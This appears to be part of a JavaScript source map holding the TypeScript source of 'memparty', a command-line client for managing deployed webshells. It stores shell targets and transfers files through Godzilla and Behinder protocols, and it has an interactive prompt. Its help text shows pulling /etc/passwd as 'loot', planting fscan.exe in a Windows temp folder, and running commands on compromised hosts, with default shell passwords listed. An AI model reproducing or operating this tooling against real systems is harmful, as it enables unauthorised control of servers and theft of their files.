TargetSaveOptions {\r\n url?: string;\r\n tool?: string;\r\n pass?: string;\r\n key?: string;\r\n headerName?: string;\r\n headerValue?: string;\r\n header?: string[];\r\n profile?: string;\r\n insecure?: boolean;\r\n remark?: string;\r\n category?: string;\r\n shellRemark?: string;\r\n json?: boolean;\r\n}\r\n\r\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\r\n const headers: Record<string, string> = {};\r\n for (const line of lines ?? []) {\r\n const idx = line.indexOf(\":\");\r\n if (idx <= 0) {\r\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\r\n }\r\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\r\n }\r\n return headers;\r\n}\r\n\r\nfunction parseRef(ref: string): { project: string; shell?: string } {\r\n const slash = ref.indexOf(\"/\");\r\n if (slash === -1) return { project: ref };\r\n return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) };\r\n}\r\n\r\nfunction listTargets(opts: { category?: string; json?: boolean }): void {\r\n const all = listProjects();\r\n const names = Object.keys(all).filter(\r\n (n) => opts.category === undefined || all[n]!.category === opts.category,\r\n );\r\n if (opts.json) {\r\n const filtered: Record<string, unknown> = {};\r\n for (const n of names) filtered[n] = all[n];\r\n process.stdout.write(`${JSON.stringify(filtered, null, 2)}\\n`);\r\n return;\r\n }\r\n if (names.length === 0) {\r\n process.stdout.write(`no saved projects (store: ${targetStorePath()})\\n`);\r\n return;\r\n }\r\n for (const name of names) {\r\n const p = all[name]!;\r\n const meta =\r\n [p.category ? `[${p.category}]` : undefined, p.remark].filter(Boolean).join(\" \");\r\n process.stdout.write(`${name}${meta ? ` ${meta}` : \"\"}\\n`);\r\n for (const [shellName, s] of Object.entries(p.shells)) {\r\n const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;\r\n process.stdout.write(`${line}${s.remark ? ` — ${s.remark}` : \"\"}\\n`);\r\n }\r\n }\r\n}\r\n\r\nexport function registerTargetCommand(program: Command): void {\r\n program\r\n .command(\"save\")\r\n .description(\r\n \"Save a shell connection profile as <project>/<shell> (overwrites an existing shell)\",\r\n )\r\n .argument(\"<ref>\", \"shell reference: <project>/<shell>\")\r\n .requiredOption(\"-u, --url <url>\", \"URL of the deployed shell\")\r\n .addOption(\r\n new Option(\"-t, --tool <tool>\", \"shell tool\").choices(protocolNames()),\r\n )\r\n .option(\"--pass <pass>\", \"password\")\r\n .option(\"--key <key>\", \"godzilla / mimic key\")\r\n .option(\"--header-name <name>\", \"gate header name (shellToolConfig.headerName)\")\r\n .option(\"--header-value <value>\", \"gate header value (shellToolConfig.headerValue)\")\r\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\r\n .option(\"--profile <name>\", \"mimic: site profile name\")\r\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\r\n .option(\"--remark <text>\", \"project remark (merged into the project)\")\r\n .option(\"--category <name>\", \"project category (merged into the project)\")\r\n .option(\"--shell-remark <text>\", \"remark for this shell\")\r\n .option(\"--json\", \"output raw JSON\")\r\n .addHelpText(\r\n \"after\",\r\n `\r\nExamples:\r\n $ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\\\\r\n -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\\\\r\n --remark \"内网测试环境\" --category test\r\n $ memparty save lab/mimic1 -u http://192.0.2.1/mimic -t mimic --profile acme\r\n $ memparty list # show saved targets\r\n $ memparty exec web1/bh9060 --cmd \"whoami\"\r\n\r\nNote: connect/exec already auto-save a verified shell as <host>/<tool>;\r\nsave is for choosing the name by hand.\r\n`,\r\n )\r\n .action((ref: string, opts: TargetSaveOptions) => {\r\n const { project, shell } = parseRef(ref);\r\n if (!shell) {\r\n process.stderr.write(\r\n `Error: expected <project>/<shell>, got ${JSON.stringify(ref)}\\n`,\r\n );\r\n process.exitCode = 1;\r\n return;\r\n }\r\n if (!opts.tool) {\r\n process.stderr.write(\r\n `Error: --tool is required (available: ${protocolNames().join(\", \")})\\n`,\r\n );\r\n process.exitCode = 1;\r\n return;\r\n }\r\n if (opts.remark !== undefined || opts.category !== undefined) {\r\n saveProjectMeta(project, { remark: opts.remark, category: opts.category });\r\n }\r\n const input: ShellInput = {\r\n url: opts.url!,\r\n tool: opts.tool as ShellInput[\"tool\"],\r\n pass: opts.pass,\r\n key: opts.key,\r\n headerName: opts.headerName,\r\n headerValue: opts.headerValue,\r\n extraHeaders: parseExtraHeaders(opts.header),\r\n profile: opts.profile,\r\n insecure: opts.insecure || undefined,\r\n remark: opts.shellRemark,\r\n };\r\n const stored = saveShell(project, shell, input);\r\n logOp({\r\n category: \"save\",\r\n action: \"save\",\r\n targetName: `${project}/${shell}`,\r\n url: stored.url,\r\n tool: stored.tool,\r\n ok: true,\r\n detail: \"saved\",\r\n meta: {\r\n projectRemark: opts.remark,\r\n projectCategory: opts.category,\r\n shellRemark: opts.shellRemark,\r\n },\r\n });\r\n if (opts.json) {\r\n process.stdout.write(\r\n `${JSON.stringify({ project, shell, ...stored }, null, 2)}\\n`,\r\n );\r\n } else {\r\n process.stdout.write(\r\n `saved ${project}/${shell} (${stored.tool} ${stored.url}) -> ${targetStorePath()}\\n`,\r\n );\r\n }\r\n });\r\n\r\n program\r\n .command(\"note\")\r\n .description(\"Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])\")\r\n .argument(\"<ref>\", \"project name or <project>/<shell>\")\r\n .option(\"--remark <text>\", 'remark (\"\" to clear)')\r\n .option(\"--category <name>\", 'project category (\"\" to clear; projects only)')\r\n .action((ref: string, opts: { remark?: string; category?: string }) => {\r\n const { project, shell } = parseRef(ref);\r\n if (shell) {\r\n if (opts.category !== undefined) {\r\n process.stderr.write(\"Error: --category only applies to projects\\n\");\r\n process.exitCode = 1;\r\n return;\r\n }\r\n if (opts.remark === undefined) {\r\n process.stderr.write(\"Error: nothing to set — pass --remark\\n\");\r\n process.exitCode = 1;\r\n return;\r\n }\r\n const updated = saveShellMeta(project, shell, { remark: opts.remark });\r\n logOp({\r\n category: \"note\",\r\n action: \"note\",\r\n targetName: `${project}/${shell}`,\r\n ok: true,\r\n detail: `remark=${updated.remark ?? \"-\"}`,\r\n });\r\n process.stdout.write(`${project}/${shell}: remark=${updated.remark ?? \"-\"}\\n`);\r\n return;\r\n }\r\n if (opts.remark === undefined && opts.category === undefined) {\r\n process.stderr.write(\"Error: nothing to set — pass --remark and/or --category\\n\");\r\n process.exitCode = 1;\r\n return;\r\n }\r\n const existing = getProject(project);\r\n if (!existing) {\r\n process.stderr.write(`Error: unknown project ${JSON.stringify(project)}\\n`);\r\n process.exitCode = 1;\r\n return;\r\n }\r\n const updated = saveProjectMeta(project, {\r\n remark: opts.remark,\r\n category: opts.category,\r\n });\r\n logOp({\r\n category: \"note\",\r\n action: \"note\",\r\n targetName: project,\r\n ok: true,\r\n detail: `category=${updated.category ?? \"-\"} remark=${updated.remark ?? \"-\"}`,\r\n });\r\n process.stdout.write(\r\n `${project}: category=${updated.category ?? \"-\"} remark=${updated.remark ?? \"-\"}\\n`,\r\n );\r\n });\r\n\r\n program\r\n .command(\"list\")\r\n .description(\"List saved projects and their shells\")\r\n .option(\"--category <name>\", \"only show projects in this category\")\r\n .option(\"--json\", \"output raw JSON\")\r\n .action(listTargets);\r\n\r\n program\r\n .command(\"remove\")\r\n .description(\"Remove a whole project or a single shell (<project>[/<shell>])\")\r\n .argument(\"<ref>\", \"project name or <project>/<shell>\")\r\n .action((ref: string) => {\r\n const { project, shell } = parseRef(ref);\r\n const removed = shell ? removeShell(project, shell) : removeProject(project);\r\n logOp({\r\n category: \"remove\",\r\n action: \"remove\",\r\n targetName: ref,\r\n ok: removed,\r\n detail: removed ? \"removed\" : \"unknown target\",\r\n });\r\n if (removed) {\r\n process.stdout.write(`removed ${ref}\\n`);\r\n } else {\r\n process.stderr.write(`Error: unknown target ${JSON.stringify(ref)}\\n`);\r\n process.exitCode = 1;\r\n }\r\n });\r\n}\r\n","import { writeFileSync } from \"node:fs\";\n\nimport { Command, Option } from \"commander\";\n\nimport { logInfo, reportError, type GlobalOptions } from \"../cli-context.js\";\nimport {\n protocolNames,\n requireProtocol,\n unsupportedMessage,\n type ProtocolOptions,\n} from \"../connect/registry.js\";\nimport type {\n CommonConnectOptions,\n DownloadResult,\n TransferResult,\n} from \"../connect/types.js\";\nimport { readUploadFile, resolveDownloadPath } from \"../core/localfile.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { autoSaveShell, resolveConnection, type ResolvedConnection } from \"../core/targets.js\";\n\ninterface TransferCmdOptions extends GlobalOptions {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n header?: string[];\n insecure?: boolean;\n json?: boolean;\n save?: boolean;\n output?: string;\n force?: boolean;\n remoteCharset?: string;\n}\n\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\n const headers: Record<string, string> = {};\n for (const line of lines ?? []) {\n const idx = line.indexOf(\":\");\n if (idx <= 0) {\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\n }\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\n }\n return headers;\n}\n\ninterface ResolvedTransfer {\n conn: ResolvedConnection;\n common: CommonConnectOptions;\n}\n\n/** Resolve the target connection; on failure report + set exit code, return null. */\nfunction resolveTransfer(\n name: string | undefined,\n opts: TransferCmdOptions,\n timeoutMs: number,\n): ResolvedTransfer | null {\n let conn: ResolvedConnection;\n try {\n conn = resolveConnection(name, {\n url: opts.url,\n tool: opts.tool,\n pass: opts.pass,\n key: opts.key,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n extraHeaders: parseExtraHeaders(opts.header),\n insecure: opts.insecure,\n });\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return null;\n }\n return {\n conn,\n common: {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs,\n insecure: conn.insecure,\n },\n };\n}\n\n/** A successful transfer proves the credentials — keep them as a named target. */\nfunction maybeAutoSave(conn: ResolvedConnection, opts: TransferCmdOptions): string | undefined {\n if (conn.targetName !== undefined || opts.save === false) return undefined;\n const savedAs = autoSaveShell(conn);\n conn.targetName = savedAs;\n return savedAs;\n}\n\nfunction printResult(\n result: TransferResult,\n localPath: string,\n savedAs: string | undefined,\n json: boolean | undefined,\n): void {\n if (json) {\n // a DownloadResult carries the file bytes in `data` — never print those\n const { data: _data, ...wire } = result as DownloadResult;\n process.stdout.write(`${JSON.stringify({ ...wire, localPath, savedAs }, null, 2)}\\n`);\n return;\n }\n if (result.ok) {\n const [from, to] =\n result.direction === \"download\"\n ? [result.remotePath, localPath]\n : [localPath, result.remotePath];\n process.stdout.write(\n `${result.direction === \"download\" ? \"downloaded\" : \"uploaded\"} ${result.bytes ?? 0} bytes: ` +\n `${from} -> ${to} (${result.tool}, ${result.durationMs}ms)\\n`,\n );\n if (result.detail) logInfo(`note: ${result.detail}`);\n if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);\n } else {\n process.stderr.write(\n `FAIL ${result.direction} ${result.tool} ${result.url}\\n ${result.error ?? \"\"}\\n`,\n );\n }\n}\n\nexport function registerDownloadCommand(program: Command): void {\n program\n .command(\"download\")\n .description(\"Download a file from a deployed webshell\")\n .argument(\"[name]\", \"saved target name (see 'memparty list')\")\n .argument(\"[remote]\", \"remote file path\")\n .option(\"-u, --url <url>\", \"URL of the deployed shell (or give a saved target name)\")\n .addOption(\n new Option(\"-t, --tool <tool>\", \"shell protocol\").choices(protocolNames(\"download\")),\n )\n .option(\"-o, --output <file>\", \"local destination (a directory keeps the remote basename)\")\n .option(\"--force\", \"overwrite an existing local file\")\n .option(\"--pass <pass>\", \"password (godzilla default: pass; behinder default: rebeyond)\")\n .option(\"--key <key>\", \"godzilla key (default: key)\")\n .option(\n \"--remote-charset <label>\",\n \"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)\",\n )\n .option(\n \"--header-name <name>\",\n \"gate header name reported by gen (shellToolConfig.headerName)\",\n )\n .option(\n \"--header-value <value>\",\n \"gate header value reported by gen (shellToolConfig.headerValue)\",\n )\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\n .option(\"--json\", \"output raw JSON\")\n .option(\"--no-save\", \"do not auto-save the target after a successful download\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \\\\\n --header-value my-secret-token /etc/passwd -o loot-passwd\n $ memparty download web222 C:\\\\Windows\\\\win.ini # saved target\n $ memparty download web222 /var/log/app.log -o logs/ --json\n\nIntegrity: godzilla verifies the transferred size; behinder additionally\ncompares the remote MD5 against the received bytes. An existing local file\nis never overwritten unless --force is given.\n`,\n )\n .action(async (name: string | undefined, remote: string | undefined, opts: TransferCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\n\n // `download <remote>` or `download <name> <remote>`\n let targetName = name;\n let remotePath = remote;\n if (remotePath === undefined) {\n remotePath = name;\n targetName = undefined;\n }\n if (!remotePath) {\n reportError(\"missing remote file path — usage: memparty download [name] <remote>\", opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n const resolved = resolveTransfer(targetName, opts, timeoutMs);\n if (!resolved) return;\n const { conn, common } = resolved;\n\n // decide + validate the local destination before touching the network\n let localPath: string;\n try {\n localPath = resolveDownloadPath(remotePath, opts.output, opts.force ?? false);\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n let result: DownloadResult;\n try {\n const protocol = requireProtocol(conn.tool);\n if (!protocol.download) {\n reportError(unsupportedMessage(protocol, \"download\"), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n const options: ProtocolOptions = { remoteCharset: opts.remoteCharset };\n result = await protocol.download({ conn, common, options }, remotePath);\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n let writeError: string | undefined;\n if (result.ok && result.data !== undefined) {\n try {\n writeFileSync(localPath, result.data);\n } catch (err) {\n writeError = `download succeeded but writing ${localPath} failed: ${\n err instanceof Error ? err.message : String(err)\n }`;\n result = { ...result, ok: false, error: writeError };\n }\n }\n\n const savedAs = result.ok ? maybeAutoSave(conn, opts) : undefined;\n logOp({\n category: \"download\",\n action: \"download\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.ok ? `${remotePath} -> ${localPath} (${result.bytes ?? 0} bytes)` : undefined,\n error: result.error,\n meta: { remotePath, localPath, bytes: result.bytes },\n });\n\n printResult(result, localPath, savedAs, opts.json);\n if (!result.ok) process.exitCode = 1;\n });\n}\n\nexport function registerUploadCommand(program: Command): void {\n program\n .command(\"upload\")\n .description(\"Upload a local file to a deployed webshell\")\n .argument(\"[name]\", \"saved target name (see 'memparty list')\")\n .argument(\"[local]\", \"local file path\")\n .argument(\"[remote]\", \"remote destination path\")\n .option(\"-u, --url <url>\", \"URL of the deployed shell (or give a saved target name)\")\n .addOption(\n new Option(\"-t, --tool <tool>\", \"shell protocol\").choices(protocolNames(\"upload\")),\n )\n .option(\"--pass <pass>\", \"password (godzilla default: pass; behinder default: rebeyond)\")\n .option(\"--key <key>\", \"godzilla key (default: key)\")\n .option(\n \"--remote-charset <label>\",\n \"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)\",\n )\n .option(\n \"--header-name <name>\",\n \"gate header name reported by gen (shellToolConfig.headerName)\",\n )\n .option(\n \"--header-value <value>\",\n \"gate header value reported by gen (shellToolConfig.headerValue)\",\n )\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\n .option(\"--json\", \"output raw JSON\")\n .option(\"--no-save\", \"do not auto-save the target after a successful upload\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty upload -u http://target/shell.jsp -t behinder --pass rebeyond \\\\\n --header-value my-secret-token fscan.exe C:\\\\Windows\\\\Temp\\\\f.exe\n $ memparty upload web222 ./agent.jar /tmp/agent.jar --json\n\nUpload overwrites the remote file (truncate + write). Integrity: godzilla\nverifies the remote size afterwards; behinder compares MD5. A failed upload\nchunk aborts the transfer — the remote file may be left partial.\n`,\n )\n .action(async (name: string | undefined, local: string | undefined, remote: string | undefined, opts: TransferCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\n\n // `upload <local> <remote>` or `upload <name> <local> <remote>`\n let targetName = name;\n let localPath = local;\n let remotePath = remote;\n if (remotePath === undefined) {\n remotePath = local;\n localPath = name;\n targetName = undefined;\n }\n if (!localPath || !remotePath) {\n reportError(\"missing paths — usage: memparty upload [name] <local> <remote>\", opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n const resolved = resolveTransfer(targetName, opts, timeoutMs);\n if (!resolved) return;\n const { conn, common } = resolved;\n\n // read + validate the local file before touching the network\n let data: Buffer;\n try {\n data = readUploadFile(localPath);\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n let result: TransferResult;\n try {\n const protocol = requireProtocol(conn.tool);\n if (!protocol.upload) {\n reportError(unsupportedMessage(protocol, \"upload\"), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n const options: ProtocolOptions = { remoteCharset: opts.remoteCharset };\n result = await protocol.upload({ conn, common, options }, remotePath, data);\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n const savedAs = result.ok ? maybeAutoSave(conn, opts) : undefined;\n logOp({\n category: \"upload\",\n action: \"upload\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.ok ? `${localPath} -> ${remotePath} (${result.bytes ?? 0} bytes)` : undefined,\n error: result.error,\n meta: { localPath, remotePath, bytes: result.bytes },\n });\n\n printResult(result, localPath, savedAs, opts.json);\n if (!result.ok) process.exitCode = 1;\n });\n}\n","import { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions } from \"../cli-context.js\";\nimport { CLI_VERSION } from \"../version.js\";\n\ninterface VersionCmdOptions extends GlobalOptions {\n json?: boolean;\n}\n\nexport function registerVersionCommand(program: Command): void {\n program\n .command(\"version\")\n .description(\"Show CLI version and the backend server version\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: VersionCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n let server: Awaited<ReturnType<typeof client.getVersion>> | { error: string };\n try {\n server = await client.getVersion();\n } catch (err) {\n server = { error: (err as Error).message };\n }\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ cli: CLI_VERSION, server }, null, 2)}\\n`);\n return;\n }\n\n const lines = [`CLI: ${CLI_VERSION}`];\n if (\"error\" in server) {\n lines.push(`Server: (unavailable) ${server.error}`);\n } else {\n lines.push(`Server: ${server.currentVersion}`);\n if (server.hasUpdate) {\n lines.push(`Update: ${server.latestVersion} available`);\n }\n }\n process.stdout.write(`${lines.join(\"\\n\")}\\n`);\n });\n}\n","/**\n * Interactive REPL for `memparty` with no arguments: one process, many\n * commands. Each line is parsed like regular CLI argv (quotes supported),\n * so anything that works as `memparty <line>` works at the prompt —\n * including `--help` on any subcommand. Built-ins: help, clear, exit/quit.\n *\n * Since connect/exec auto-save verified shells, a typical session is:\n * connect -u http://host/shell.jsp -t godzilla --header-value XXX\n * exec host/godzilla --cmd whoami\n */\nimport * as readline from \"node:readline\";\n\nimport { Command, CommanderError } from \"commander\";\n\nimport { ApiError } from \"./api/client.js\";\nimport { reportError } from \"./cli-context.js\";\nimport { CLI_VERSION } from \"./version.js\";\n\n/** Split a REPL line into argv-like tokens, honoring single/double quotes. */\nexport function tokenize(line: string): string[] {\n const tokens: string[] = [];\n let cur = \"\";\n let quote: string | null = null;\n let started = false;\n for (const ch of line) {\n if (quote !== null) {\n if (ch === quote) quote = null;\n else cur += ch;\n } else if (ch === '\"' || ch === \"'\") {\n quote = ch;\n started = true;\n } else if (/\\s/.test(ch)) {\n if (started || cur.length > 0) {\n tokens.push(cur);\n cur = \"\";\n started = false;\n }\n } else {\n cur += ch;\n }\n }\n if (started || cur.length > 0) tokens.push(cur);\n return tokens;\n}\n\nexport async function startRepl(build: () => Command): Promise<void> {\n process.stdout.write(\n `memparty ${CLI_VERSION} — interactive mode. Type 'help' for commands, 'exit' to quit.\\n`,\n );\n\n const rl = readline.createInterface({\n input: process.stdin,\n output: process.stdout,\n terminal: process.stdin.isTTY === true,\n historySize: 200,\n });\n\n // Queue lines ourselves: with piped (non-TTY) stdin, readline may buffer\n // several lines at once and drop any emitted while no question is pending.\n const pending: string[] = [];\n let waiter: ((line: string | null) => void) | null = null;\n let closed = false;\n rl.on(\"line\", (line) => {\n if (waiter) {\n const w = waiter;\n waiter = null;\n w(line);\n } else {\n pending.push(line);\n }\n });\n rl.on(\"close\", () => {\n closed = true;\n waiter?.(null);\n });\n const isTty = process.stdin.isTTY === true;\n rl.setPrompt(\"memparty> \");\n const ask = (): Promise<string | null> => {\n if (isTty) rl.prompt();\n const buffered = pending.shift();\n if (buffered !== undefined) return Promise.resolve(buffered);\n if (closed) return Promise.resolve(null);\n return new Promise((resolve) => {\n waiter = resolve;\n });\n };\n\n for (;;) {\n const line = await ask();\n if (line === null) break; // EOF / Ctrl-D\n const tokens = tokenize(line);\n if (tokens.length === 0) continue;\n const [cmd, ...rest] = tokens;\n\n if (cmd === \"exit\" || cmd === \"quit\") break;\n if (cmd === \"clear\") {\n process.stdout.write(\"\u001b[2J\u001b[0f\");\n continue;\n }\n if (cmd === \"help\") {\n if (rest.length === 0) {\n build().outputHelp();\n continue;\n }\n tokens.push(\"--help\"); // `help connect` == `connect --help`\n }\n\n rl.pause(); // let wizards/prompts own stdin while the command runs\n try {\n await build().parseAsync([\"node\", \"memparty\", ...tokens]);\n } catch (err) {\n if (err instanceof CommanderError) {\n // exitOverride: commander already printed help or the usage error\n } else if (err instanceof ApiError) {\n reportError(`API error (${err.status || \"network\"}): ${err.message}`, tokens);\n } else if (err instanceof Error) {\n if (err.name === \"ExitPromptError\") process.stderr.write(\"\\nAborted.\\n\");\n else reportError(err.message, tokens);\n } else {\n reportError(String(err), tokens);\n }\n }\n process.exitCode = 0; // a failed command must not poison the REPL's exit status\n rl.resume();\n }\n\n rl.close();\n}\n"],"mappings":"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